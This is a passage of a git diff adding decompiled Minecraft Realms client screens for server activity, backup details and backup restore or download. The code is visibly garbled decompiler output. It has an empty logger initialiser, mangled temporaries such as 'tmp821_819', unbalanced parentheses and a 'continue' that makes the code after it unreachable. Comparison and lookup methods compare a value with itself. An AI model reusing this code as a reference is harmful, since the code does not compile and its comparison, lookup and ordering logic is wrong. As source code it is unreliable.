+  private int BUTTON_BACK_ID = 0;
+  
+  private static LoadingCache<String, String> activitiesNameCache = com.google.common.cache.CacheBuilder.newBuilder().build(new com.google.common.cache.CacheLoader()
+  {
+    public String load(String uuid) throws Exception {
+      String name = Realms.uuidToName(uuid);
+      
+      if (name == null) {
+        throw new Exception("Couldn't get username");
+      }
+      return name;
+    }
+  });
+  
+
+
+
+
+
+
+
+
+
+
+  public RealmsActivityScreen(RealmsScreen lastScreen, RealmsServer serverData)
+  {
+    this.lastScreen = lastScreen;
+    this.serverData = serverData;
+    getActivities();
+  }
+  
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+    list.mouseEvent();
+  }
+  
+  public void init()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    matrixWidth = width();
+    list = new DetailsList();
+    
+    buttonsAdd(newButton(BUTTON_BACK_ID, width() / 2 - 100, height() - 30, 200, 20, getLocalizedString("gui.back")));
+  }
+  
+  private Color getColor() {
+    if (colorIndex > colors.size() - 1) {
+      colorIndex = 0;
+    }
+    
+    return (Color)colors.get(colorIndex++);
+  }
+  
+  private void getActivities()
+  {
+    new Thread()
+    {
+      public void run() {
+        RealmsClient client = RealmsClient.createRealmsClient();
+        try {
+          ServerActivityList activities = client.getActivity(serverData.id);
+          activityMap = RealmsActivityScreen.this.convertToActivityMatrix(activities);
+          
+          List<RealmsActivityScreen.Day> tempDayList = new ArrayList();
+          
+          for (RealmsActivityScreen.ActivityRow row : activityMap) {
+            for (RealmsActivityScreen.Activity activity : activities) {
+              String day = new SimpleDateFormat("dd/MM").format(new Date(start));
+              RealmsActivityScreen.Day the_day = new RealmsActivityScreen.Day(day, Long.valueOf(start));
+              
+              if (!tempDayList.contains(the_day)) {
+                tempDayList.add(the_day);
+              }
+            }
+          }
+          
+          Collections.sort(tempDayList);
+          
+          for (RealmsActivityScreen.ActivityRow row : activityMap) {
+            for (RealmsActivityScreen.Activity activity : activities) {
+              String day = new SimpleDateFormat("dd/MM").format(new Date(start));
+              RealmsActivityScreen.Day the_day = new RealmsActivityScreen.Day(day, Long.valueOf(start));
+              
+              dayIndex = (tempDayList.indexOf(the_day) + 1);
+            }
+          }
+          
+          dayList = tempDayList;
+        } catch (RealmsServiceException e) {
+          e.printStackTrace();
+        }
+      }
+    }.start();
+  }
+  
+  private List<ActivityRow> convertToActivityMatrix(ServerActivityList serverActivityList) {
+    List<ActivityRow> activityRows = com.google.common.collect.Lists.newArrayList();
+    periodInMillis = periodInMillis;
+    long base = System.currentTimeMillis() - periodInMillis;
+    
+    for (ServerActivity sa : serverActivities) {
+      ActivityRow activityRow = find(profileUuid, activityRows);
+      Calendar joinTime = Calendar.getInstance(java.util.TimeZone.getDefault());
+      joinTime.setTimeInMillis(joinTime);
+      Calendar leaveTime = Calendar.getInstance(java.util.TimeZone.getDefault());
+      leaveTime.setTimeInMillis(leaveTime);
+      
+      Activity e = new Activity(base, joinTime.getTimeInMillis(), leaveTime.getTimeInMillis(), null);
+      
+      if (activityRow == null) {
+        String name = "";
+        try
+        {
+          name = (String)activitiesNameCache.get(profileUuid);
+        }
+        catch (Exception exception) {
+          LOGGER.error("Could not get name for " + profileUuid, exception); }
+        continue;
+        
+
+        activityRow = new ActivityRow(profileUuid, new ArrayList(), name, profileUuid);
+        activities.add(e);
+        activityRows.add(activityRow);
+      } else {
+        activities.add(e);
+      }
+    }
+    
+    Collections.sort(activityRows);
+    
+    for (ActivityRow row : activityRows) {
+      color = getColor();
+      Collections.sort(activities);
+    }
+    
+    noActivity = Boolean.valueOf(activityRows.size() == 0);
+    
+    return activityRows;
+  }
+  
+  private ActivityRow find(String key, List<ActivityRow> rows) {
+    for (ActivityRow row : rows) {
+      if (key.equals(key)) {
+        return row;
+      }
+    }
+    
+    return null;
+  }
+  
+  public void tick()
+  {
+    super.tick();
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (button.id() == BUTTON_BACK_ID) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    if (eventKey == 1) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    toolTip = null;
+    
+    renderBackground();
+    
+    for (ActivityRow row : activityMap) {
+      int keyWidth = fontWidth(name);
+      
+      if (keyWidth > maxKeyWidth) {
+        maxKeyWidth = (keyWidth + 10);
+      }
+    }
+    
+    int keyRightPadding = 25;
+    activityPoint = (maxKeyWidth + keyRightPadding);
+    
+    int spaceLeft = matrixWidth - activityPoint - 10;
+    int days = dayList.size() < 1 ? 1 : dayList.size();
+    
+    dayWidth = (spaceLeft / days);
+    hourWidth = (dayWidth / 24.0D);
+    minuteWidth = (hourWidth / 60.0D);
+    
+    list.render(xm, ym, a);
+    Tezzelator t;
+    if ((activityMap != null) && (activityMap.size() > 0)) {
+      t = Tezzelator.instance;
+      
+      GL11.glDisable(3553);
+      t.begin(7, RealmsDefaultVertexFormat.POSITION_COLOR);
+      t.vertex(activityPoint, height() - 40, 0.0D).color(128, 128, 128, 255).endVertex();
+      t.vertex(activityPoint + 1, height() - 40, 0.0D).color(128, 128, 128, 255).endVertex();
+      t.vertex(activityPoint + 1, 30.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+      t.vertex(activityPoint, 30.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+      t.end();
+      GL11.glEnable(3553);
+      
+      for (Day day : dayList) {
+        int daysIndex = dayList.indexOf(day) + 1;
+        
+        drawString(day, activityPoint + (daysIndex - 1) * dayWidth + (dayWidth - fontWidth(day)) / 2 + 2, height() - 52, 16777215);
+        
+        GL11.glDisable(3553);
+        t.begin(7, RealmsDefaultVertexFormat.POSITION_COLOR);
+        t.vertex(activityPoint + daysIndex * dayWidth, height() - 40, 0.0D).color(128, 128, 128, 255).endVertex();
+        t.vertex(activityPoint + daysIndex * dayWidth + 1, height() - 40, 0.0D).color(128, 128, 128, 255).endVertex();
+        t.vertex(activityPoint + daysIndex * dayWidth + 1, 30.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+        t.vertex(activityPoint + daysIndex * dayWidth, 30.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+        t.end();
+        GL11.glEnable(3553);
+      }
+    }
+    
+    super.render(xm, ym, a);
+    
+
+    drawCenteredString(getLocalizedString("mco.activity.title"), width() / 2, 10, 16777215);
+    
+    if (toolTip != null) {
+      renderMousehoverTooltip(toolTip, xm, ym);
+    }
+    
+    if (noActivity.booleanValue()) {
+      drawCenteredString(getLocalizedString("mco.activity.noactivity", new Object[] { Long.valueOf(TimeUnit.DAYS.convert(periodInMillis, TimeUnit.MILLISECONDS)) }), width() / 2, height() / 2 - 20, 16777215);
+    }
+  }
+  
+  static class Color
+  {
+    int r;
+    int g;
+    int b;
+    
+    Color(int r, int g, int b) {
+      this.r = r;
+      this.g = g;
+      this.b = b;
+    }
+  }
+  
+  static class Day implements Comparable<Day>
+  {
+    String day;
+    Long timestamp;
+    
+    public int compareTo(Day o) {
+      return timestamp.compareTo(timestamp);
+    }
+    
+    Day(String day, Long timestamp) {
+      this.day = day;
+      this.timestamp = timestamp;
+    }
+    
+    public boolean equals(Object d)
+    {
+      if (!(d instanceof Day)) {
+        return false;
+      }
+      
+      Day that = (Day)d;
+      
+      return day.equals(day);
+    }
+  }
+  
+  static class ActivityRow implements Comparable<ActivityRow>
+  {
+    String key;
+    List<RealmsActivityScreen.Activity> activities;
+    RealmsActivityScreen.Color color;
+    String name;
+    String uuid;
+    
+    public int compareTo(ActivityRow o) {
+      return name.compareTo(name);
+    }
+    
+    ActivityRow(String key, List<RealmsActivityScreen.Activity> activities, String name, String uuid) {
+      this.key = key;
+      this.activities = activities;
+      this.name = name;
+      this.uuid = uuid;
+    }
+  }
+  
+  static class Activity implements Comparable<Activity> {
+    long base;
+    long start;
+    long end;
+    int dayIndex;
+    
+    private Activity(long base, long start, long end) {
+      this.base = base;
+      this.start = start;
+      this.end = end;
+    }
+    
+    public int compareTo(Activity o)
+    {
+      return (int)(start - start);
+    }
+    
+    public int hourIndice() {
+      String hour = new SimpleDateFormat("HH").format(new Date(start));
+      return Integer.parseInt(hour);
+    }
+    
+    public int minuteIndice() {
+      String minute = new SimpleDateFormat("mm").format(new Date(start));
+      return Integer.parseInt(minute);
+    }
+  }
+  
+  static class ActivityRender {
+    double start;
+    double width;
+    String tooltip;
+    
+    private ActivityRender(double start, double width, String tooltip) {
+      this.start = start;
+      this.width = width;
+      this.tooltip = tooltip;
+    }
+  }
+  
+  class DetailsList extends net.minecraft.realms.RealmsScrolledSelectionList {
+    public DetailsList() {
+      super(height(), 30, height() - 40, fontLineHeight() + 1);
+    }
+    
+    public int getItemCount()
+    {
+      return activityMap.size();
+    }
+    
+
+    public void selectItem(int item, boolean doubleClick, int xMouse, int yMouse) {}
+    
+
+    public boolean isSelectedItem(int item)
+    {
+      return false;
+    }
+    
+
+
+    public int getMaxPosition() { return getItemCount() * (fontLineHeight() + 1) + 15; }
+    
+    protected void renderItem(int i, int x, int y, int h, Tezzelator t, int mouseX, int mouseY) { int r;
+      int g;
+      int b;
+      if ((activityMap != null) && (activityMap.size() > i)) {
+        RealmsActivityScreen.ActivityRow row = (RealmsActivityScreen.ActivityRow)activityMap.get(i);
+        drawString(name, 20, y, activityMap.get(i)).uuid.equals(Realms.getUUID()) ? 8388479 : 16777215);
+        
+        r = color.r;
+        g = color.g;
+        b = color.b;
+        
+        GL11.glDisable(3553);
+        t.begin(7, RealmsDefaultVertexFormat.POSITION_COLOR);
+        t.vertex(activityPoint - 8, y + 6.5D, 0.0D).color(r, g, b, 255).endVertex();
+        t.vertex(activityPoint - 3, y + 6.5D, 0.0D).color(r, g, b, 255).endVertex();
+        t.vertex(activityPoint - 3, y + 1.5D, 0.0D).color(r, g, b, 255).endVertex();
+        t.vertex(activityPoint - 8, y + 1.5D, 0.0D).color(r, g, b, 255).endVertex();
+        t.end();
+        GL11.glEnable(3553);
+        
+        RealmsScreen.bindFace(activityMap.get(i)).uuid, activityMap.get(i)).name);
+        GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+        RealmsScreen.blit(10, y, 8.0F, 8.0F, 8, 8, 8, 8, 64.0F, 64.0F);
+        RealmsScreen.blit(10, y, 40.0F, 8.0F, 8, 8, 8, 8, 64.0F, 64.0F);
+        
+        List<RealmsActivityScreen.ActivityRender> toRender = new ArrayList();
+        
+        for (RealmsActivityScreen.Activity activity : activities) {
+          int minute = activity.minuteIndice();
+          int hour = activity.hourIndice();
+          double itemWidth = minuteWidth * TimeUnit.MINUTES.convert(end - start, TimeUnit.MILLISECONDS);
+          
+          if (itemWidth < 3.0D) {
+            itemWidth = 3.0D;
+          }
+          
+          double pos = activityPoint + (dayWidth * dayIndex - dayWidth) + hour * hourWidth + minute * minuteWidth;
+          
+          SimpleDateFormat format = new SimpleDateFormat("HH:mm");
+          Date startDate = new Date(start);
+          Date endDate = new Date(end);
+          int length = (int)Math.ceil(TimeUnit.SECONDS.convert(end - start, TimeUnit.MILLISECONDS) / 60.0D);
+          
+          if (length < 1) {
+            length = 1;
+          }
+          
+          String tooltip = "[" + format.format(startDate) + " - " + format.format(endDate) + "] " + length + (length > 1 ? " minutes" : " minute");
+          
+          boolean exists = false;
+          
+          for (RealmsActivityScreen.ActivityRender render : toRender) {
+            if (start + width >= pos - 0.5D) {
+              double overlap = start + width - pos;
+              double padding = Math.max(0.0D, pos - (start + width));
+              
+              width = (width - Math.max(0.0D, overlap) + itemWidth + padding); RealmsActivityScreen.ActivityRender 
+                tmp821_819 = render;821819tooltip = (821819tooltip + "\n" + tooltip);
+              
+              exists = true;
+              break;
+            }
+          }
+          
+          if (!exists) {
+            toRender.add(new RealmsActivityScreen.ActivityRender(pos, itemWidth, tooltip, null));
+          }
+        }
+        
+        for (RealmsActivityScreen.ActivityRender render : toRender) {
+          GL11.glDisable(3553);
+          
+          t.begin(7, RealmsDefaultVertexFormat.POSITION_COLOR);
+          t.vertex(start, y + 6.5D, 0.0D).color(r, g, b, 255).endVertex();
+          t.vertex(start + width, y + 6.5D, 0.0D).color(r, g, b, 255).endVertex();
+          t.vertex(start + width, y + 1.5D, 0.0D).color(r, g, b, 255).endVertex();
+          t.vertex(start, y + 1.5D, 0.0D).color(r, g, b, 255).endVertex();
+          t.end();
+          
+          GL11.glEnable(3553);
+          
+          if ((xm() >= start) && (xm() <= start + width) && (ym() >= y + 1.5D) && (ym() <= y + 6.5D)) {
+            toolTip = tooltip.trim();
+          }
+        }
+      }
+    }
+    
+    public int getScrollbarPosition()
+    {
+      return width() - 7;
+    }
+  }
+  
+  protected void renderMousehoverTooltip(String msg, int x, int y) {
+    if (msg == null) {
+      return;
+    }
+    
+    int index = 0;
+    int width = 0;
+    
+    for (String s : msg.split("\n")) {
+      int the_width = fontWidth(s);
+      
+      if (the_width > width) {
+        width = the_width;
+      }
+    }
+    
+    int rx = x - width - 5;
+    int ry = y;
+    
+    if (rx < 0) {
+      rx = x + 12;
+    }
+    
+    for (String s : msg.split("\n")) {
+      fillGradient(rx - 3, ry - (index == 0 ? 3 : 0) + index, rx + width + 3, ry + 8 + 3 + index, -1073741824, -1073741824);
+      fontDrawShadow(s, rx, ry + index, -1);
+      index += 10;
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsBackupInfoScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsBackupInfoScreen.java
new file mode 100644
index 0000000..e8efc3a
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsBackupInfoScreen.java
@@ -0,0 +1,160 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.dto.Backup;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.RealmsSimpleScrolledSelectionList;
+
+public class RealmsBackupInfoScreen extends RealmsScreen
+{
+  private final RealmsScreen lastScreen;
+  private final int BUTTON_BACK_ID = 0;
+  
+  private final Backup backup;
+  private List<String> keys = new java.util.ArrayList();
+  
+  private BackupInfoList backupInfoList;
+  String[] difficulties = { getLocalizedString("options.difficulty.peaceful"), getLocalizedString("options.difficulty.easy"), getLocalizedString("options.difficulty.normal"), getLocalizedString("options.difficulty.hard") };
+  
+
+
+
+
+
+  String[] gameModes = { getLocalizedString("selectWorld.gameMode.survival"), getLocalizedString("selectWorld.gameMode.creative"), getLocalizedString("selectWorld.gameMode.adventure") };
+  
+
+
+
+
+  public RealmsBackupInfoScreen(RealmsScreen lastScreen, Backup backup)
+  {
+    this.lastScreen = lastScreen;
+    this.backup = backup;
+    
+    if (changeList != null) {
+      for (Map.Entry<String, String> entry : changeList.entrySet()) {
+        keys.add(entry.getKey());
+      }
+    }
+  }
+  
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+    backupInfoList.mouseEvent();
+  }
+  
+
+  public void tick() {}
+  
+
+  public void init()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    
+    buttonsAdd(newButton(0, width() / 2 - 100, height() / 4 + 120 + 24, getLocalizedString("gui.back")));
+    
+    backupInfoList = new BackupInfoList();
+  }
+  
+  public void removed()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) {
+      return;
+    }
+    if (button.id() == 0) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    if (eventKey == 1) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString("Changes from last backup", width() / 2, 10, 16777215);
+    
+    backupInfoList.render(xm, ym, a);
+    
+    super.render(xm, ym, a);
+  }
+  
+  private String checkForSpecificMetadata(String key, String value) {
+    String k = key.toLowerCase();
+    if ((k.contains("game")) && (k.contains("mode")))
+      return gameModeMetadata(value);
+    if ((k.contains("game")) && (k.contains("difficulty"))) {
+      return gameDifficultyMetadata(value);
+    }
+    return value;
+  }
+  
+  private String gameDifficultyMetadata(String value) {
+    try {
+      return difficulties[Integer.parseInt(value)];
+    } catch (Exception e) {}
+    return "UNKNOWN";
+  }
+  
+  private String gameModeMetadata(String value)
+  {
+    try {
+      return gameModes[Integer.parseInt(value)];
+    } catch (Exception e) {}
+    return "UNKNOWN";
+  }
+  
+  private class BackupInfoList extends RealmsSimpleScrolledSelectionList
+  {
+    public BackupInfoList() {
+      super(height(), 32, height() - 64, 36);
+    }
+    
+    public int getItemCount()
+    {
+      return backup.changeList.size();
+    }
+    
+
+    public void selectItem(int item, boolean doubleClick, int xMouse, int yMouse) {}
+    
+
+    public boolean isSelectedItem(int item)
+    {
+      return false;
+    }
+    
+    public int getMaxPosition()
+    {
+      return getItemCount() * 36;
+    }
+    
+
+    public void renderBackground() {}
+    
+
+    protected void renderItem(int i, int x, int y, int h, net.minecraft.realms.Tezzelator t, int mouseX, int mouseY)
+    {
+      String key = (String)keys.get(i);
+      drawString(key, width() / 2 - 40, y, 10526880);
+      String metadataValue = (String)backup.changeList.get(key);
+      drawString(RealmsBackupInfoScreen.this.checkForSpecificMetadata(key, metadataValue), width() / 2 - 40, y + 12, 16777215);
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsBackupScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsBackupScreen.java
new file mode 100644
index 0000000..b100006
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsBackupScreen.java
@@ -0,0 +1,420 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.Backup;
+import com.mojang.realmsclient.dto.BackupList;
+import com.mojang.realmsclient.dto.RealmsOptions;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.exception.RetryCallException;
+import com.mojang.realmsclient.gui.LongRunningTask;
+import com.mojang.realmsclient.util.RealmsUtil;
+import java.text.DateFormat;
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsClickableScrolledSelectionList;
+import net.minecraft.realms.RealmsScreen;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.GL11;
+
+public class RealmsBackupScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private static final String PLUS_ICON_LOCATION = "realms:textures/gui/realms/plus_icon.png";
+  
+  private static final String RESTORE_ICON_LOCATION = "realms:textures/gui/realms/restore_icon.png";
+  private static int lastScrollPosition = -1;
+  
+  private final RealmsConfigureWorldScreen lastScreen;
+  
+  private List<Backup> backups = java.util.Collections.emptyList();
+  private String toolTip = null;
+  
+  private BackupSelectionList backupSelectionList;
+  
+  private int selectedBackup = -1;
+  
+  private static final int BACK_BUTTON_ID = 0;
+  
+  private static final int RESTORE_BUTTON_ID = 1;
+  
+  private static final int DOWNLOAD_BUTTON_ID = 2;
+  private RealmsButton downloadButton;
+  private Boolean noBackups = Boolean.valueOf(false);
+  
+  private RealmsServer serverData;
+  private static final String UPLOADED_KEY = "Uploaded";
+  
+  public RealmsBackupScreen(RealmsConfigureWorldScreen lastscreen, RealmsServer serverData)
+  {
+    lastScreen = lastscreen;
+    this.serverData = serverData;
+  }
+  
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+    backupSelectionList.mouseEvent();
+  }
+  
+  public void init()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    backupSelectionList = new BackupSelectionList();
+    
+    if (lastScrollPosition != -1) {
+      backupSelectionList.scroll(lastScrollPosition);
+    }
+    
+    new Thread("Realms-fetch-backups")
+    {
+      public void run() {
+        RealmsClient client = RealmsClient.createRealmsClient();
+        try {
+          backups = backupsForserverData.id).backups;
+          noBackups = Boolean.valueOf(backups.size() == 0);
+          RealmsBackupScreen.this.generateChangeList();
+        } catch (RealmsServiceException e) {
+          RealmsBackupScreen.LOGGER.error("Couldn't request backups", e);
+        }
+        
+      }
+    }.start();
+    postInit();
+  }
+  
+  private void generateChangeList() {
+    if (backups.size() <= 1)
+      return;
+    Backup backup;
+    Backup olderBackup;
+    for (int i = 0; i < backups.size() - 1; i++) {
+      backup = (Backup)backups.get(i);
+      olderBackup = (Backup)backups.get(i + 1);
+      
+      if ((!metadata.isEmpty()) && (!metadata.isEmpty()))
+      {
+
+
+        for (String key : metadata.keySet()) {
+          if ((!key.contains("Uploaded")) && (metadata.containsKey(key))) {
+            if (!((String)metadata.get(key)).equals(metadata.get(key))) {
+              addToChangeList(backup, key);
+            }
+          } else
+            addToChangeList(backup, key);
+        }
+      }
+    }
+  }
+  
+  private void addToChangeList(Backup backup, String key) {
+    if (key.contains("Uploaded")) {
+      String uploadedTime = DateFormat.getDateTimeInstance(3, 3).format(lastModifiedDate);
+      changeList.put(key, uploadedTime);
+      backup.setUploadedVersion(true);
+    } else {
+      changeList.put(key, metadata.get(key));
+    }
+  }
+  
+  private void postInit() {
+    buttonsAdd(this.downloadButton = newButton(2, width() - 125, 32, 100, 20, getLocalizedString("mco.backup.button.download")));
+    buttonsAdd(newButton(0, width() - 125, height() - 35, 85, 20, getLocalizedString("gui.back")));
+  }
+  
+  public void tick()
+  {
+    super.tick();
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    if (button.id() == 0) {
+      Realms.setScreen(lastScreen);
+    } else if (button.id() == 2) {
+      downloadClicked();
+    }
+  }
+  
+  public void keyPressed(char eventCharacter, int eventKey)
+  {
+    if (eventKey == 1) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  private void restoreClicked(int selectedBackup) {
+    if ((selectedBackup >= 0) && (selectedBackup < backups.size()) && (!serverData.expired)) {
+      this.selectedBackup = selectedBackup;
+      Date backupDate = backups.get(selectedBackup)).lastModifiedDate;
+      String datePresentation = DateFormat.getDateTimeInstance(3, 3).format(backupDate);
+      String age = RealmsUtil.convertToAgePresentation(Long.valueOf(System.currentTimeMillis() - backupDate.getTime()));
+      String line2 = getLocalizedString("mco.configure.world.restore.question.line1", new Object[] { datePresentation, age });
+      String line3 = getLocalizedString("mco.configure.world.restore.question.line2");
+      Realms.setScreen(new RealmsLongConfirmationScreen(this, RealmsLongConfirmationScreen.Type.Warning, line2, line3, true, 1));
+    }
+  }
+  
+  private void downloadClicked() {
+    String line2 = getLocalizedString("mco.configure.world.restore.download.question.line1");
+    String line3 = getLocalizedString("mco.configure.world.restore.download.question.line2");
+    Realms.setScreen(new RealmsLongConfirmationScreen(this, RealmsLongConfirmationScreen.Type.Info, line2, line3, true, 2));
+  }
+  
+  private void downloadWorldData() {
+    RealmsClient client = RealmsClient.createRealmsClient();
+    try {
+      String downloadLink = client.download(serverData.id);
+      Realms.setScreen(new RealmsDownloadLatestWorldScreen(this, downloadLink, serverData.name + " (" + ((RealmsOptions)serverData.slots.get(Integer.valueOf(serverData.activeSlot))).getSlotName(serverData.activeSlot) + ")"));
+    } catch (RealmsServiceException e) {
+      LOGGER.error("Couldn't download world data");
+      Realms.setScreen(new RealmsGenericErrorScreen(e, this));
+    }
+  }
+  
+  public void confirmResult(boolean result, int id)
+  {
+    if ((result) && (id == 1)) {
+      restore();
+    } else if ((result) && (id == 2)) {
+      downloadWorldData();
+    } else {
+      Realms.setScreen(this);
+    }
+  }
+  
+  private void restore() {
+    Backup backup = (Backup)backups.get(selectedBackup);
+    RestoreTask restoreTask = new RestoreTask(backup, null);
+    RealmsLongRunningMcoTaskScreen longRunningMcoTaskScreen = new RealmsLongRunningMcoTaskScreen(lastScreen.getNewScreen(), restoreTask);
+    longRunningMcoTaskScreen.start();
+    Realms.setScreen(longRunningMcoTaskScreen);
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    toolTip = null;
+    
+    renderBackground();
+    
+    backupSelectionList.render(xm, ym, a);
+    drawCenteredString(getLocalizedString("mco.configure.world.backup"), width() / 2, 12, 16777215);
+    drawString(getLocalizedString("mco.configure.world.backup"), (width() - 150) / 2 - 90, 20, 10526880);
+    
+    if (noBackups.booleanValue()) {
+      drawString(getLocalizedString("mco.backup.nobackups"), 20, height() / 2 - 10, 16777215);
+    }
+    
+    downloadButton.active(!noBackups.booleanValue());
+    
+    super.render(xm, ym, a);
+    if (toolTip != null) {
+      renderMousehoverTooltip(toolTip, xm, ym);
+    }
+  }
+  
+
+  private class RestoreTask
+    extends LongRunningTask
+  {
+    private final Backup backup;
+    
+
+    private RestoreTask(Backup backup)
+    {
+      this.backup = backup;
+    }
+    
+    public void run()
+    {
+      setTitle(RealmsScreen.getLocalizedString("mco.backup.restoring"));
+      
+      for (int i = 0; i < 6; i++) {
+        try {
+          if (aborted()) return;
+          RealmsClient client = RealmsClient.createRealmsClient();
+          client.restoreWorld(serverData.id, backup.backupId);
+          pause(1);
+          if (aborted()) return;
+          Realms.setScreen(lastScreen.getNewScreen());
+          return;
+        } catch (RetryCallException e) {
+          if (aborted()) return;
+          pause(delaySeconds);
+        } catch (RealmsServiceException e) {
+          if (aborted()) return;
+          RealmsBackupScreen.LOGGER.error("Couldn't restore backup");
+          Realms.setScreen(new RealmsGenericErrorScreen(e, lastScreen));
+          return;
+        } catch (Exception e) {
+          if (aborted()) return;
+          RealmsBackupScreen.LOGGER.error("Couldn't restore backup");
+          error(e.getLocalizedMessage());
+          return;
+        }
+      }
+    }
+    
+    private void pause(int pauseSeconds) {
+      try {
+        Thread.sleep(pauseSeconds * 1000);
+      } catch (InterruptedException e) {
+        RealmsBackupScreen.LOGGER.error(e);
+      }
+    }
+  }
+  
+  protected void renderMousehoverTooltip(String msg, int x, int y) {
+    if (msg == null) {
+      return;
+    }
+    
+    int rx = x + 12;
+    int ry = y - 12;
+    int width = fontWidth(msg);
+    fillGradient(rx - 3, ry - 3, rx + width + 3, ry + 8 + 3, -1073741824, -1073741824);
+    
+    fontDrawShadow(msg, rx, ry, 16777215);
+  }
+  
+
+
+  private class BackupSelectionList
+    extends RealmsClickableScrolledSelectionList
+  {
+    public BackupSelectionList()
+    {
+      super(height(), 32, height() - 15, 36);
+    }
+    
+    public int getItemCount()
+    {
+      return backups.size() + 1;
+    }
+    
+    public int getMaxPosition()
+    {
+      return getItemCount() * 36;
+    }
+    
+    public void renderBackground()
+    {
+      RealmsBackupScreen.this.renderBackground();
+    }
+    
+    public void customMouseEvent(int y0, int y1, int headerHeight, float yo, int itemHeight)
+    {
+      if ((org.lwjgl.input.Mouse.isButtonDown(0)) && 
+        (ym() >= y0) && (ym() <= y1)) {
+        int x0 = width() / 2 - 92;
+        int x1 = width();
+        
+        int clickSlotPos = ym() - y0 - headerHeight + (int)yo - 4;
+        int slot = clickSlotPos / itemHeight;
+        if ((xm() >= x0) && (xm() <= x1) && (slot >= 0) && (clickSlotPos >= 0) && (slot < getItemCount())) {
+          itemClicked(clickSlotPos, slot, xm(), ym(), width());
+        }
+      }
+    }
+    
+
+    public void renderItem(int i, int x, int y, int h, int mouseX, int mouseY)
+    {
+      
+      if (i < backups.size()) {
+        renderBackupItem(i, x, y, h, width);
+      }
+    }
+    
+    public int getScrollbarPosition()
+    {
+      return width() - 5;
+    }
+    
+    public void itemClicked(int clickSlotPos, int slot, int xm, int ym, int width)
+    {
+      int infox = width() - 40;
+      int infoy = clickSlotPos + 30 - getScroll();
+      
+      int mx = infox + 10;
+      int my = infoy - 3;
+      
+      if ((xm >= infox) && (xm <= infox + 9) && (ym >= infoy) && (ym <= infoy + 9)) {
+        if (!backups.get(slot)).changeList.isEmpty()) {
+          RealmsBackupScreen.access$702(getScroll());
+          Realms.setScreen(new RealmsBackupInfoScreen(RealmsBackupScreen.this, (Backup)backups.get(slot)));
+        }
+      } else if ((xm >= mx) && (xm <= mx + 9) && (ym >= my) && (ym <= my + 9)) {
+        RealmsBackupScreen.access$702(getScroll());
+        RealmsBackupScreen.this.restoreClicked(slot);
+      }
+    }
+    
+    private void renderBackupItem(int i, int x, int y, int h, int width) {
+      Backup backup = (Backup)backups.get(i);
+      
+      int color = backup.isUploadedVersion() ? -8388737 : 16777215;
+      drawString("Backup (" + RealmsUtil.convertToAgePresentation(Long.valueOf(System.currentTimeMillis() - lastModifiedDate.getTime())) + ")", x + 2, y + 1, color);
+      drawString(getMediumDatePresentation(lastModifiedDate), x + 2, y + 12, 5000268);
+      
+      int dx = width() - 30;
+      int dy = -3;
+      
+      int infox = dx - 10;
+      int infoy = dy + 3;
+      
+      if (!serverData.expired) {
+        drawRestore(dx, y + dy, xm(), ym());
+      }
+      
+      if (!changeList.isEmpty()) {
+        drawInfo(infox, y + infoy, xm(), ym());
+      }
+    }
+    
+    private String getMediumDatePresentation(Date lastModifiedDate)
+    {
+      return DateFormat.getDateTimeInstance(3, 3).format(lastModifiedDate);
+    }
+    
+    private void drawRestore(int x, int y, int xm, int ym) {
+      boolean hovered = (xm >= x) && (xm <= x + 12) && (ym >= y) && (ym <= y + 14) && (ym < height() - 15) && (ym > 32);
+      
+      RealmsScreen.bind("realms:textures/gui/realms/restore_icon.png");
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glPushMatrix();
+      GL11.glScalef(0.5F, 0.5F, 0.5F);
